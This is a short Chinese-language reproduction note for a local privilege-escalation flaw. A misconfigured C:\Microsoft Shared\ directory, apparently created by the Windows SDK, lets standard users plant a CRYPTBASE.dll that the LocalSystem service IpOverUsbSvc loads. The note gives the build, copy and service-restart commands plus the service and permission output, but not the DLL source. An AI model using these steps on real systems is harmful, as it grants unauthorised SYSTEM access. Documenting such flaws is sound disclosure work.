复现过程:
i686-w64-mingw32-gcc -shared -o CRYPTBASE.dll poc.c -lkernel32
将 CRYPTBASE.dll 复制到 "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\CRYPTBASE.dll"
net stop IpOverUsbSvc
net start IpOverUsbSvc
说明: IpOverUsbSvc
sc.exe qc IpOverUsbSvc
SERVICE_NAME: IpOverUsbSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
BINARY_PATH_NAME : "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\IpOverUsbSvc.exe"
SERVICE_START_NAME : LocalSystem
该服务以 LocalSystem 权限运行。可执行文件位于 C:\Microsoft Shared\ 目录下,标准用户对该目录拥有完全控制权限。
已发现普通用户可以向 SYSTEM 服务目录写入文件。
然后监控 DLL

Windows SDK 安装时创建的 C:\Microsoft Shared\ 目录权限配置不当:
C:\Microsoft Shared BUILTIN\Users:(I)(OI)(CI)(F)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(M)